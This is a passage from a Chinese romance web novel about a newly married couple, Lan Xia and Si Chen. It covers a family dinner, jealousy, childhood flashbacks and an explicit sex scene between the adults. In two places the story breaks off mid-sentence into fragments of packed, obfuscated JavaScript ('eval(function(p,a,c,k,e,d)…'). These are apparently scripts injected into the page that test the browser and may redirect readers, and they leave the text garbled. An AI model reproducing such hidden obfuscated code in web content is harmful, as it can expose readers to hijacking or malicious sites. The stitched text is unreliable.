蓝夏随着他的动作注意到角落里还有个黑色的行李箱,和她的行李箱是一个牌子一个系列。 话脱口而出:“这个箱子是谁的?” 司宸按下关后备箱的按钮,绕着车子往前走,到了车上才回答:“我的。” “你车上备着一个行李箱是做什么?”倏然间,蓝夏想到什么,“你不会是今天早上才回来就来见我了吧?” 司宸有些燥热,拧开纯净水瓶盖,一口气喝下一大半。 “你想多了。” “哦。” 蓝夏对司宸家并不陌生,这里也曾有过他们许多的共同回忆,她没有四处参观,因为司宸家里的格局基本没有变化。 没有打算分房睡,他们共用一个衣帽间,衣帽间里有一大半的位置是空着的,曾经那些空着的地方也挂着她的衣服。 想必应该是司宸特意又清理出来给她用的,蓝夏没有想太多,抓紧时间收拾起来。 收拾好一切已经到了傍晚,蓝夏司宸各自洗好澡换上干净衣服去看爷爷。 司崇辉住在大院,生活简单,步调缓慢。 勤务兵守在大院外,蓝夏看着熟悉的环境,心忽然间就安了下来。 这里是她的家。 司崇辉早听说两个孩子领了证,在家里高兴了一整天,两口子和阿姨在家里光是做饭就花了一下午的时间。 他守在自家的小院里,远远瞧见了司宸的车开过来,稍稍正了正自己的着装,低头一看,他就穿着一件普通白色汗衫嘛,有什么好整理的。 副驾的车门打开,蓝夏几乎是从车上蹦下来,甜甜喊道:“爷爷!” 司崇辉这张脸上的笑意挂不住,紧紧拉着蓝夏的手道:“可算是领好证了,司宸这混小子都不让我管这件事,没想到今天忽然告诉我你俩领好了证,搞得我还以为他在骗我。” “哎呀,好,真好。他要是欺负你你就告诉爷爷,爷爷帮你揍他。” “爷爷,哥哥没有欺负我。他对我很好的,今天还帮我搬家了。” “嘁——个不中用的东西,搬家有什么好说的,这不是他该做的吗!不过态度还算诚恳,今天刚下了飞机就去找你,我们勉强可以原谅他。” 蓝夏:“他今天才出差回来吗?” 司崇辉想表现出孙子对她的重视程度,夸大道:“对啊,他昨晚觉都没有睡好,今天一大早就回来了,先和你领了证才来见我。” 蓝夏疑惑地回头看了眼僵硬的司宸。 他不自然地清了清嗓子,看向一旁繁茂妖艳的月季不说话。 4. 黄昏雨04 蓝夏直到现在也还是觉得司家很温馨。 复式格局,奶奶喜欢绿植,家里到处都摆放着深绿和姹紫嫣红。蓝夏住在二楼最靠里的房间,打开窗户就能看到楼下小院里盛开的月季。 蓝夏也喜欢绿植,从刚搬来空荡荡的窗户到满窗户都摆着绿油油一片,她的房间逐渐生机盎然。 一进门,蓝夏先跑去厨房找奶奶。 相比于爷爷外露的热情,奶奶更喜欢把对她的喜爱注入到食物里。 厨房里香喷喷,珐琅锅里炖着鲜美鸡肉,鸡汤营养价值随着一同放入的药材不断升高。 早一心一意留心着门外动静的孟莲,从蓝夏一进门便开始期待她的脚步声到厨房来。 果然,蓝夏如往常一样,撒着娇往奶奶身上黏。 “奶奶,好香呀,好久没有吃你做的菜了。” 孟莲笑起来,手背贴到她的脸上,“小夏呀,奶奶天天盼着你来吃饭,你怎么不来呢?怎么瘦了,没有好好吃饭?司宸有没有欺负你?” 蓝夏不会在爷爷奶奶面前戳破司宸这两天地恶语相向。 于是只说:“没有的,他对我很好。这几天一直在忙画展的事,所以没时间。” 其实,只是那天和司宸见面后,明显感到了司宸对自己的不待见,她不想来了司家后再碰见他,那会很尴尬。 孟莲心疼她瘦弱的身板,脸色看起来也气血不足。叮嘱她今天一定要喝两碗鸡汤,非得好好补补。 蓝夏应着,去洗净了手,轻车熟路到旁边拿围裙要来帮忙。 围裙还没穿上,孟莲制止她:“你去坐着休息,陪你爷爷说说话,他可想你了,你把司宸叫过来,让他来给我帮忙。” 蓝夏迟疑了一下,“会不会不太好?” 蓝夏没有忘记在车上司宸对待结婚证的态度,后来他们除了去超市购买礼品的时候说过一些话,到家也没有说上两句话。 孟莲怪道:“这有什么的,他本来就经常在厨房帮忙,你就说是我叫的。” 蓝夏只好放下围裙去叫司宸。 客厅里,司崇辉正在教训司宸,他对司宸如此雷厉风行的婚姻是带着气性的。原本他是想按照计划来,这样也不至于亏待了蓝夏。 可被司宸一搅局,他觉得蓝夏吃了好大的亏。 “你作为哥哥,就应该多多照顾妹妹,她年纪小你要让着她,而且小夏什么脾气我是清楚的,最温和良善的一个人,你不要总是板着一张脸,这里不是你的工作场合。” 司宸对爷爷的指责照单全收,全都点头应下。 蓝夏没听见两人的谈话内容,只是走过来叫他:“哥哥,奶奶叫你去厨房帮忙。” 司宸抬头看她,什么也没说,点点头去了厨房。 只是司宸没有想到,等他再次从厨房出来的时候,已经不见了蓝夏的身影,一番寻找才发现,蓝夏正在后院。 天光暮色下,蓝夏正笑盈盈和谁说着话。 外头这么热,又有蚊子,她在外面和谁说话呢? 司宸想起刚刚爷爷和奶奶轮番对自己的说教,深刻地检讨了一下自己。 从前的事已然过去,现在他和蓝夏已经是夫妻关系,蓝夏再想抛弃他可没有分手那么简单。 他可以不计前嫌,和蓝夏从此刻开始重新培养感情。 这么想着,他深呼吸一口气,鼓足勇气迈步向前,推开后院的门,正要叫蓝夏的名字,一个高大的身影猝然间出现在他的视线里,司理不知道什么时候回来了。 —— “你们结婚速度实在太快了,我没来得及准备什么礼物,这个手镯和银行卡你一定要收下,就当是哥哥的一点心意。” 蓝夏推拒:“谢谢哥哥,手镯我特别喜欢,手镯我就收下了,银行卡还是不要了。” 司理笑着揉揉她的头发:“这没什么,我给自己的弟弟妹妹花钱,心甘情愿。” “可是……”蓝夏拿着那张银行卡,不知道该怎么拒绝。 如今司理事业有成,她知道这点钱对他来说不算什么,可…… 指尖松松拿着的银行卡倏然间被人抽走,接着她的肩膀被人揽住,被力道推进了一个怀抱里。 “哥,你怎么来了?” 蓝夏抬起头,只看到司宸利落的下颌线和英挺的鼻梁,他的嘴角扬着没有什么温度的弧度。 她觉得司宸有点过了,干嘛突然靠她这么近,从她回国后,还没有这样近过。 她有些歉意地看向司理,冲他笑笑。 司理司宸相差四岁,两人有着完全不同的样貌和性格。 司理长得很温柔,举手投足间都是良好的教养,待人也很和善。蓝夏刚来司家的时候,很快就对司理产生了信任,无论做什么都喜欢问一句:“大哥哥也去吗?” 而司宸,比起司理,他的长相会更加不近人情。再加上他常年摆着张冷脸,做事乖张,蓝夏刚来的时候是有点害怕他的。只是后来两人年纪相对来说要近一点,熟起来了才开始好。 司理始终挂着温和的笑:“爷爷让我回家吃饭,说你们领证了,恭喜。得到消息的时候实在太匆忙,没有来得及准备你们的新婚礼,这张卡你们先拿着,里面的钱不多,算是我的一点心意。” 司宸低头看了眼那张卡,猜测到里面大概不会是一笔小数目,往前递了递。 “还是不了,这个手镯小夏喜欢,我们就收下了。这卡还是算了,你也知道我工作的特殊性,不适合拿这个。” 司理依旧温和笑着。 “我们是家人,家人之间送点小红包有什么呢?而且说是送给你们的,其实是我送给小夏的。” 蓝夏实在不想看到他们争锋相对,左顾右盼一会儿,抽走了司宸手中的卡。 “谢谢哥哥,那我就收下了。”蓝夏推着司宸站直身体,“好像要吃晚饭了,而且外面好多蚊子,我们进去吧?” 在蓝夏的提议下,司理率先望向她点头,随着她一起往屋内走。 后院只剩下了司宸,他木然站着,发现自己还是不可避免地会嫉妒。 “司宸?”蓝夏用手抵着门,“快进来,别放蚊子进来了。” 他被她皓腕上的帝王绿手镯刺了眼,往前走了两步,和她一起进门。 就在蓝夏的手从把手上松下来的一瞬间,司宸抓住了她的手腕,带着她走到了走廊的尽头。 他将她逼到墙角,捏着她细得仿佛一捏就碎的手腕,他贴着她,和她离得那么近,两个人的呼吸都混乱急促勾缠。 “是不是很开心?”他大拇指摩挲着她的脉搏,感受着她杂乱无章的心跳。 “开心什么?”蓝夏没明白。 “司理送了礼物给你。” 蓝夏点头,“开心的,我很喜欢。” 帝王绿手镯坠下来,将他的手指和她的手腕牢牢锁住,沁凉之感像是携带着幽灵般的蓝火,一次又一次撺掇出司宸的嫉妒之心。 “吃饭啦——小两口别在那边说悄悄话了,快来吃饭!” 孟莲的声音从有些远的餐厅传来。 蓝夏不安地扭动了一下手腕,看着司宸的双眼,她好像明白了什么。 “等回去吧,好不好。” 司宸脱力般松开她的手,“你先过去。” “我陪你好不好?” 司宸声音软了些,但依旧坚持让她先过去。 蓝夏很久以前是摸不准司宸的脾性的,直到在一起后她才能下意识明白他的某些想法,可现在她又不明白了,几年不见的司宸变得真的好奇怪。 蓝夏蹙着眉,像是下定了某种决心,踮起脚尖在他的唇上蜻蜓点水般碰了一下。 蓝夏认真地问:“有好一点吗?” 她不确定自己这个行为会不会让他厌恶,毕竟从这次回来后,他对自己的态度一直阴晴不定。她只是顺着从前的记忆在做这件事,以前她这样做,司宸的心情就会好。 但她发现这次她好像做错了,她应该要先和他商量一下的。 她看见司宸没有像从前一样笑,反而背过身去,冷冷对她道:“你先过去,别让爷爷奶奶等。” “好吧。” 蓝夏只好离开,她确定她在这里,司宸的心情也不会变得更好,反而会更差。 来到餐厅,她已经换上一副笑脸。 司崇辉锁着眉往她身后看,“那臭小子呢?不吃饭耍什么大少爷脾气?” “他、他说他肚子痛,等会儿就来。” 司崇辉嗤了一声:“肚子痛?我看他是皮子痒!欠打的东西,一家人在这里等他吃饭。” 司理适时开口:“爷爷别生气了,司宸是真的肚子痛,我们先吃吧。” 孟莲也怕司崇辉一点就燃的脾气上了头,“好了好了,这么凶干什么,你的高血压不管了呀?先吃就是的嘛,他等会儿就过来了。” “爷爷,他没骗人,就是肚子痛,你别为他生气。”蓝夏替他倒了一杯果汁。 自从他得了高血压后,喝酒的次数被全家人严格控制,吃饭要喝酒的习惯已经改成了每天喝一点鲜榨果汁。 司崇辉面色缓和了些,拿起筷子,“来来来,先吃,不管他。” 没一会儿,司宸也回来了,免不得被司崇辉数落一顿,好在他态度良好,后来在餐桌上又一直照顾着蓝夏,给她夹菜,倒果汁,剥虾,司崇辉的脸色才终于转了晴。 晚饭后只在司家坐了一会儿便起身回去。 回程的路上,司宸不说话,蓝夏也不说话。 回到家,各自去冲洗。 等蓝夏换好睡衣出来喝水时才发现,司宸已经洗完澡了,头发微微湿着,坐在沙发上。 “过来一下,有事说。” 蓝夏抱着水杯坐到他斜对面的沙发上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他从身后拿过一个盒子,在蓝夏的注视下打开来。 “很匆忙,没有准备好。以及我工作问题也不能戴太高调的,委屈你了,之后我会再带你一起去选你喜欢的。” 里面是一对铂金戒指,很低调简约的款式。 蓝夏看着它们微闪的光芒,勾着嘴角道:“这个就好,我很喜欢。” 但这句话并没有让司宸的心情好起来。她好像什么都喜欢,只要是别人送的,送片破树叶给她,她都会笑着说“我很喜欢”。 司宸的心脏逐渐憋闷。但他还是取下那枚女士的戒指要为她戴上。 蓝夏看着推到底的戒指,正反看了看:“刚好合适诶,你怎么知道我手指大小?” 司宸不说话,蓝夏收敛了些,问道:“接下来是不是我给你戴了?” “你说呢?”司宸觉得有些好笑。 灯光通明的客厅里,蓝夏从盒子里取出那枚男士的,正要给他戴上,偶然一瞥,看到他戒圈内的字母,一个花体的X,那她这枚里应该是C。 好有契约性质的戒指,蓝夏想。 戒指推到底,蓝夏恍惚间听见司宸松了口气,抬起头来,却只有他冷冷的一张脸。 “第四件事,”司宸说:“把你的裤腿撩起来,涂药。” 蓝夏没有理由拒绝,刚挽起自己的裤腿,双腿都被司宸抬起来,放到了他的腿上。 过程中,她的拖鞋乱砸在地,而她也因为失去了重心,双手撑在身后。 蓝夏看着他缓慢动作,将药揉至吸收。腿上的皮肤在他的手掌下逐渐发热。 她能看到他低垂的认真的眼眸。突然就想起今天在爷爷家的事,彼此之间呼吸靠得那么近的时候。 司宸处理好,拿一旁的抽纸擦了擦手。蓝夏则识趣地收回腿。 “我的事都说完了,你有没有什么问题或者想说的,现在可以说。” 蓝夏小幅度点点头,“你今天是不是生气了?” 司宸双眸锁着她,无声笑了一下。 “你觉得呢?” “好像是生气了。” 司宸看了眼不远处挂在墙壁上的钟表,答非所问:“时间不早了,去睡觉吧。” 蓝夏点头,亦步亦趋跟在他的身后,跟着他去洗完了手,又跟着他回到卧室。 他猛然停下脚步,蓝夏没反应过来,额头撞上他有些僵硬的后背。 司宸转身,只看见她睁着一双大眼睛,呆呆地说:“其实我还没说完。” 司宸大概猜到了,“你想分房睡。” 蓝夏真诚地说:“不是,我是想说,我们今晚要不要做?” 5. 黄昏雨05 “做什么?” “爱。” 蓝夏回答得坦坦荡荡,司宸愣了有两秒,耳后升起一抹不易察觉的红。 能够随意将这件事说出口,司宸确认不是自己太封建,而是她过于开放。 不是没有做过。 蓝夏十八岁,即将去意大利前的那几个月,她住在司宸这套房子里,房间也曾经变得粘稠而潮湿。 会做到渴,一点力气也没有,会做到分不清白天还是黑夜。 后来蓝夏要分手,他就连恳求的机会都没有,她就那么离开。 她率性任意,随心所欲,她的世界里当然不会有他,也不会知道那时刚大学毕业的他在怎样规划两人的未来。 司宸冷静下来,没有再因为她的那句话而心潮澎湃,就连耳后的温度也降了下去,和平时的肤色无异。 “我不管你在国外怎样,在国内不要随便对男性说这样的话。” 他突然变严肃了,为什么? 蓝夏只是想让他心情好些,以前她这样做,他的心情就会变好。鉴于刚刚在司家她太过唐突,这才先提议和他商量,如果他不愿意的话,她当然不会勉强,会尊重他的意愿。 蓝夏:“可你不是随便的人,你是我的老……” 说到这里,蓝夏停顿了一下。 今天在车上的画面不经意间钻入了她的脑海,大概是因为他并不是很满意这场婚姻,所以其实算是她逾矩了。 她改了口:“好,我知道了。” 她很快将自己的姿态摆正,走到那张十分熟悉的床边,她曾经也是睡在左侧。 蓝夏昨晚熬夜画画,今天一直忙到现在,眼还没合上过,到这时已经成了她的极限。其实本身问他要不要做就已经有些勉强,是她不想做那个扫兴的人,现在看来倒是自己多虑。 蓝夏自顾躺下,没有管司宸,但还是礼貌地对他说了一声晚安,眼睛一合上很快就进入了梦乡。 司宸也不知道为什么,见她心无旁骛睡下后,莫名腾起一股无名火。 到底是为什么乱撩又不负责。 他在原地站了几分钟,听见蓝夏均匀沉重的呼吸声传来,便走去关上了卧室的大灯,只开了自己这边的床头灯。 许久后,他依旧无法安睡,侧头去看已经睡熟了,双手乱放的妻子。 这一看便是许久,无名火不知不觉被熄灭。 他住30楼,这一层只有他这一户,楼高,只能听见风声。但这样的夏夜就连风也没有,整个房间内静得只有她的呼吸声。 司宸闭上眼不想再看,可谁能告诉他,这该死的呼吸声为什么怎么都无法屏蔽。 司宸翻来覆去,还是遵从自己的本心,去看她的睡颜。 然而他没想到,就在翻身的同一时间,蓝夏也翻了个身,直接翻到了他的怀里,像是触碰到了什么熟悉的开关,蓝夏双手双脚都搭在他的身上,嘴巴喃喃着听不清的梦话,使劲往他怀里钻。 司宸身子僵住,双手比大脑更先做出反应,紧紧地抱住了她纤瘦的腰身。 他下意识锁紧了眉。 怎么比以前还要瘦? 所以说,她的随意,便是自己的身体也不放在心上。 司宸垂眸,看到蓝夏睫羽纤长,呼出的气体微凉,撩过他的喉结。 上一次觉得她轻得像纸一样好像是她七岁的时候。 第一次见她,也是这样温和的睡颜。她被爷爷抱回来的时候,整条手臂都有渗人的抓痕,似乎是哭累了才睡着的,眼睫上还挂着泪珠,身上脏兮兮的,像是个被抛弃的精致的洋娃娃。 爷爷把她抱回到房间里,让司理司宸帮着搬车里的行李箱。 等司崇辉把蓝夏在房里安置好后,才在大半夜召集两兄弟开会。 “以后蓝夏就和我们一起住了,是你们的妹妹,一定要好好照顾她,不要欺负她,知道了吗?” 司理那时已经15岁,他是懂事的大哥哥,更不会做出欺负妹妹的举动。他郑重点头,说知道了。 司宸那时才11岁,还是调皮的年纪。在家里无法无天太久了,他并没有点头,而是问道:“她没有爸爸妈妈吗?为什么要和我们一起住?” 司崇辉直接给他一个暴栗,让他别问这么多,好好照顾妹妹就是。 “九月妹妹要转来和你一起上学,你在学校要多多关照她,不要让她被别人欺负了。” 小司宸睁大眼睛,不可置信地挑了下眉,“我才不要和女生一起上学,丢脸死了。” 又是一个暴栗。 “给我去罚站!” 当晚,司宸贴着墙根站了两个小时才准去睡觉。 那是盛夏时节,太阳升起得很早。清晨六点半,司理司宸已经从操场跑了一圈回来。 两兄弟回来后各回房间洗澡。 司宸洗过澡,上身的衣服也没有穿,只在脖颈上搭了一条毛巾,光着膀子跑到楼下开冰箱喝冰可乐。 司家清早不开空调,司宸趁机大开着冰箱纳凉,凉气缭绕,他将可乐豪饮而下。 等喝完再转身,他便看到了妹妹。 蓝夏端着冰蓝的裂纹盘子,里面放着精致的草莓奶油小蛋糕,顶尖的草莓红得鲜艳欲滴。而她已经洗过了澡,换了一条奶蓝色的竖条纹裙子,头发披散着,厚厚的刘海压着眉眼,小脸白净,无法忽视的是她那双上挑的圆杏眼,像小猫的眼睛。 她看起来没有昨晚那么狼狈了,但手臂上的抓痕依旧很明显。并且经过时间的沉淀,那些抓痕颜色深了一点,更加醒目。 蓝夏并没有惊慌失措,却僵硬开口:“哥哥,你应该穿衣服,会感冒。” 她很瘦,整个人看起来能被一阵风吹倒。司宸想起她昨晚哭得睫毛都湿了的样子,他坏心眼地想再看一遍。 于是他步步逼近蓝夏,站到了蓝夏面前。 他开学就上六年级,个子已经窜到了一米六以上,蓝夏需要抬起头看他。 小司宸皮肤被晒成小麦色,眼睛却很亮,瘦削的下巴紧致,整个人透出一股邪痞之气。 “你早餐吃这么漂亮的小蛋糕。” 蓝夏点了一下头,“嗯,是爷爷奶奶给我买的。哥哥你想吃吗?” 司宸笑起来,闪着光点的黑眼珠里透出坏意来。 “谢啦,缺牙齿就少吃点甜的,哥哥帮你解决。” 说完,他没有等蓝夏同意就拿走了她手上的盘子,当着她的面先吃掉了那颗草莓。 “特别好吃。”说完他就端着蛋糕上了楼。 蓝夏双手还做着捧蛋糕的动作,她低头看自己两手空空,缓缓放下,在原地发了会儿呆才走到后院去看花。 那颗草莓超级酸。 司宸走到楼梯上就吐出来了,真不知道为什么蛋糕店的草莓都这么难吃。 他很快把甜丝丝的草莓奶油蛋糕吃了一大半来压制这股酸味。 他当然没有回房间,只是跟在蓝夏后面,他想看她哭。 但蓝夏没有哭,她只是很认真的在看一只蜜蜂采蜜。 司宸吃着蛋糕,口里的奶油绵密甜腻,眼睛一眨不眨地看着蓝夏。 然而,他想要看见的全都未能如愿。司理洗过澡背完单词,下楼拿水喝,看到了偷吃蛋糕的司宸,立刻把他怒斥了一顿,接着告诉了司崇辉。 那一整天,蓝夏重新得到了一个草莓奶油蛋糕,她尝了一下,草莓特别甜,被司宸拿走的那块蛋糕的草莓应该也有这么甜吧。 而司宸则被司崇辉再次罚站。 妹妹的到来,让他被罚站了两次。虽然罚站对他来说早已是家常便饭,但是这样接连着的高频率受罚次数并不多。 司宸看着她瘦弱背影,虽有些不爽,但她确实也太瘦了。 全家人都十分照顾她,司理更是已经完全把她当成了自己的妹妹,又是给她夹菜又是给她倒椰奶。 猝不及防地,蓝夏回了一下头,和他对视一眼就将头转回去。那双小猫眼里透着警惕和小心翼翼。 然后就有了第二次和第三次。 终于在第四次的时候,蓝夏开口对司崇辉说:“爷爷,要不让哥哥过来吃饭吧,人不吃饭会饿肚子,我饿过肚子,知道很难受。我已经不生他的气了,我原谅他了。” 司崇辉眼里有隐隐泪光,“他做错了事,就该受惩罚。但是爷爷听小夏的,我让他过来吃饭,吃过饭后再接着站怎么样?” 蓝夏轻点下巴,“谢谢爷爷。” 她懂事得令人心疼。 司宸托她的福得到了特赦令,先去吃饭。 经过这一次事件后,司宸也知道至少他不能明着欺负蓝夏,私下里他做了什么谁又知道。 要问欺负她的理由是什么,他也说不上来,就是很想看她哭,想看她眼睫毛上挂着泪珠。 然而,他没想到的是,因为他的不靠谱,全家人几乎不让蓝夏和他单独接触。因此蓝夏和司理的信任值直线上升,蓝夏成了司理的小尾巴,就算是大太阳,也要去看哥哥打篮球。 而司理显然比他要靠谱多了,他对待蓝夏这个妹妹没有不尽心尽力的,打篮球的时候也会分心看看她在旁边的情况。打完篮球后,还会带她去逛超市,让她选自己喜欢吃的零食。 因此,他错失很多欺负她的机会,也开始变得有些讨厌司理。 州大的附小和附中相隔并不远,开学后,司理为了送妹妹上学,竟然给他的trek装了后座,看起来像一台老年自行车。 他每天都负责接送妹妹上下学。 司宸理所当然地变成了孤身一人。 不知道哪一天开始,他也去给他的那台trek装上了后座,并和司理商量,他要送妹妹上学。 显然这个提议并没有被全家人接纳,大家对他并不放心。 还是蓝夏知道后提出看法,说小学放学时间和高中的放学时间不一样,她愿意和司宸哥哥一起回来。 这样一来,上学有司理送,放学有司宸接。 司宸原本以为蓝夏转学到附小后会被欺负,这样他就能看到她流眼泪。后来他专门下楼去找过她两次,才发现是他想多了,蓝夏不仅没有被欺负,反而十分受欢迎。 司宸的朋友都知道司宸有了个妹妹,每天在教室里做作业等司宸放学来接。有时候会调侃他几句,说他的车变成了儿童专车。 司宸皱皱眉头没理。 第一次一起回家,正好轮到司宸值日,一直到做完卫生才下楼找蓝夏。 二年级课业并不繁重,蓝夏已经将作业全部做完,随手拿了图书角里的书来读。 她在看《茶花女》,其实已经看过一遍,但反正等人也无所事事,干脆再看一遍。 看到整本书的四分之一时,蓝夏抬起头来,揉了揉脖子,盯着不停旋转的吊扇发呆。 蓝夏决定上去找司宸,她有点想回家了。 她把书放回去,转身的时候被后门站着的少年吓一跳。司宸不知道什么时候开始站在那里的,双手环胸,闲适懒散,像在等着看她到底什么时候才能发现自己。 蓝夏顿时有些无措,她知道这个哥哥并没有司理哥哥那样喜欢自己。所以每次见到他时,她总有些不知该怎么和他相处。 “司宸哥哥。” “嗯,等很久了吗?今天轮到我值日。”司宸往里走,学着司理的语气,想尽量显得温柔一些。 他走到她的课桌前,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那我还是去找司理哥哥一起回去吧……” 蓝夏说着就要走。 她刚一个转身,书包被司宸拉住。他提溜着蓝夏说:“你就不会撒谎啊?你真去找司理了,你想我回家被司将军骂是不是?” “我没有啊,我不会告密的。” “那你说说你准备怎么和司理说。” “我就说是我和你错过了。” “笨死了,那他会以为是我故意不想接你才先走的。” 司宸太难搞了,蓝夏开始后悔当初帮他说话,早知道她还不如一直跟司理一起放学。 但是司理哥哥最近要准备竞赛,会留在学校上课到很晚。 “上来吧。” 蓝夏动了两下,走不动。 “你拉着我书包。” “书包给我,你上后面坐着。” “不要放车头。” 司宸哂笑了一声,答应她:“好。” 蓝夏将信将疑脱下书包,慢吞吞往后走。但怎么都有点不放心他,他在她这里的信任值为负。 司宸低头把她的书包肩带调到最大,往肩上一背。再回头的时候,发现蓝夏还站在原地没有上车。 “哦,忘了,小拐杖上不去。来,哥哥抱你上去。” 蓝夏:…… 司宸扶着车,双手抱起她的时候,心里惊了一下。他没有想到她竟然这么瘦,像纸片一样轻,他几乎丝毫不费力就把她稳稳放在了车座上。 他语气放软了一点:“坐稳。” 蓝夏拘谨地抠着自己的车座底。 司宸刚起步突然一个急刹车,蓝夏没抓稳,身子往前倾,惯性动作抱住了他的腰。 刚要松开,就听司宸说:“我看你抱着我哥抱得挺好的,抱着我就不行了?你想等会儿摔死是不是?” 吵死了,再也不要坐司宸的车了! 蓝夏听他的没有松手。 她没看到正在踩单车的司宸笑了起来,迎着落日的暖风,脚奋力踩着踏板,他第一次和妹妹一起放学回家。 —— 蓝夏做了一个冗长的梦。 很奇怪,她已经很久没有梦见过司宸了,但最近不知道为什么总是频频梦见小时候与他的事。 蓝夏睁开眼,以为自己还没有睡醒,不然为什么会看到男人的喉结。 想起来了,她结婚了。 和司宸。 可昨晚,她是睡在那一侧的,怎么现在睡在他的怀里…… 算了,没所谓,怎样都好,先起床好了。 蓝夏轻手轻脚慢慢往后撤,直到对上他那双沉静的眼。 “你醒了啊?”蓝夏轻声问。 司宸双臂一收,将她重新揽入怀中,“再睡一会儿。” 蓝夏没敢动,以为他还没有彻底睡醒。 就这么抱了一会儿,蓝夏有些难受了,想起床拉伸一下,怎么睡觉睡得腰酸背痛的。 “司宸,我想起来了……” 司宸懒懒的“嗯”了一声,忽然一只手抬起她的下巴,埋下头吻住她的唇。 许久没有触碰的唇,明明各自干涸着,但碰到一起的时候很快变得湿润柔软。 蓝夏有些懵,明明昨天对她的态度还很差,现在这样看来是没睡醒。她不想等他彻底清醒后又说些讽刺的话。 双手推拒着他:“司宸,你别这样,是不是还没醒。” 他停下来,胸膛起伏,一双眼紧紧锁住她。 “我不是还没醒,我是一夜没睡。蓝夏,下次不要这样撩完就自己睡了。” “你在说什么?” “做.爱。” 蓝夏彻底醒了,和他对视半秒,承接住他再次埋下头来的激烈的吻。她终于配合他张开了自己的唇,感到他的舌强势入侵,温热的呼吸扑在她的脸上,将她的脸烧得滚烫。 她的手从推拒他的胸膛离开,抬起来勾住他的脖子。 6. 黄昏雨06 蓝夏还记得他们的第一个吻,在没有开空调的阁楼。 蝉鸣不绝于耳,阁楼的窗户被打扫卫生的阿姨打开通风,只关了纱窗。 司宸双手撑在她身后,将她围在自己怀里,让她几乎动弹不得。 太近了,近到蓝夏有些紧张,双手抵着他的胸膛,不想让他靠得自己太近。 但他的力气向来大,蓝夏推不动他。只感觉此刻的他像是一只猎豹,又或者是一只雄狮、猎鹰。 总之不会是一只温顺的哺乳动物。 阁楼的气温太高了,空气中的高温像是要把人烤化,就连呼吸也感到肺部被灼伤。 高温让人无法呼吸,而他的热烈的吻让人快要断气。 蓝夏不停地往后仰,换来的是他扣住她的后脑勺,将她与他贴得更紧。 毛孔微张,汗水交织,他的手掌带着烫人的温度。刚握上她的腰,她便扭着要躲。 吻她的时候,司宸不说话,像是在酝酿一场即将倾盆的暴风雨。 他更加急促地吻她,甚至用牙齿轻咬她,以此来听她喉间溢出的声音。 司宸猝不及防地就将她正面抱起,他成熟的宽大的手掌能轻松握住她的大腿,架在自己腰上。 蓝夏害怕掉下去,只能紧紧抱着他。 这间阁楼是家里人专门给蓝夏收拾出来,做为她的画室的。但里面同时也放了很多司理司宸的东西,后来司理读大学,他的东西已经装箱尘封。而司宸的东西和蓝夏的东西,经常混杂在一起。 大人们尚且需要分辨一下,但是两人心里清清楚楚谁的到底是谁的,只有司宸经常装糊涂,借故拿蓝夏的东西来用。 这里有一张双人沙发,天气凉爽些的时候,蓝夏会在这里午睡。 司宸往沙发一坐,将她抱坐锁在自己怀里,吻追得紧,手游得快,很快蓝夏就捂着嘴想要阻止他作乱的手。 太热了,都能尝到皮肤是咸的。 司宸给蓝夏种下能被衣服遮挡的草莓,又强迫已经气喘吁吁的蓝夏也给自己种几个。 …… 蓝夏手指绵软无力,被人倒扣住,摁在枕头上。 指缝之间,是司宸的手指,戒环和他的皮肤亲密相接。 还是夏天,依旧很热,尽管房里开了空调,但她还是流下了汗水。 司宸还是强势,还是不说话,吻她的时候急、狠、重。 蓝夏明明该熟悉他的动作,但不知是不是因为太久没有亲密过,她总感觉已经和以前不太一样了。 以前急,好像他还是温柔的,他虽然不会回答她的要求,但会默默调整到她舒服的姿势。 但这次,蓝夏提过两次意见,并没有被面前急躁的脑袋所采纳。 这是从前从未有过的很恐怖的刺激。 蓝夏几乎兜不住声音,甚至酸软得无力抬起手来捶打他。 司宸终于看见她哭了,回忆里没有看到妹妹哭,但现在,妹妹哭了。她就在这里,和他的距离为负,肉眼可见的颤抖,眼睫毛上挂着他期望看见的细小的泪珠。 他一直知道她会生理性流泪。 丝滑的皮肤下,骨骼也清晰,司宸拽着她的脚踝向自己身后拉,猛地往前一送。 他要听到她无法控制的令他心痒的声音。 他得偿所愿。 房间里拉着窗帘,屋子里很昏暗,难以视物。但在这样的环境里待久了的人,会适应这个昏暗的光线,视力依旧很好。 蓝夏能看到司宸绷着的脸,鼻尖隐隐反光的汗珠;她看到自己身前摇晃的雪山上覆着的掌上的青脉;也看到她和他到底有多紧密。 她终于溃不成军,放任自流。 真正结束的时候,她已经完全没有力气爬起来。 这场运动消耗了她所有的能量,肚子里空空如也,饿得有些眼花。 整场下来都面无表情的男人在为她擦拭水渍。 后来,他拿着纸巾动作轻柔地擦掉她脸上的泪痕。 “去洗澡吧。” “不要洗。”蓝夏有些赌气,她都累瘫了洗什么洗。 “嗓子都哑了。”司宸用手背轻轻摩挲了两下她的喉咙处。 “关你什么事。” 蓝夏的声音嘶哑中带着点哭腔,她转过身去背对着他。 相处模式好像回到了以前。司宸低沉而短促地笑了一下,起身扔掉纸巾,出了卧房的门。 不多时,他端着一杯水进来。 “喝水。” “不喝。” “那再来一次好了。” 蓝夏转过头,满眼是不可置信和怒火的交加,她轻咬着下唇,仿佛受了极大的委屈。三秒后,她还是撑着自己的身体坐了起来。 端着水杯的手在发抖。 司宸掌住她发抖的手,随着她的手一起送到她的唇边。 一杯水被她喝光。 水杯被他随意搁置在床头柜上。他俯下身将她抱起来,往浴室的方向走。 蓝夏累得连反抗的力气都没有了,哼都懒得哼一句,随便他抱着自己走。 还好,是真的洗澡。 “家里没有零食,等会儿去超市给你买。”他替她擦洗的时候说。 “嗯。”蓝夏回答得敷衍。 终于洗完,蓝夏坐在浴室外的板凳上慢吞吞穿衣。 吸食了她的精气的司宸,动作敏捷,脚下生风,很快套上了干净的家居服,出门前对她说:“我先去给你做早餐,穿完衣服后赶紧出来,有什么事要叫我。” “嗯。” 蓝夏换好衣服出来时,厨房已经飘来了阵阵烟火香气。 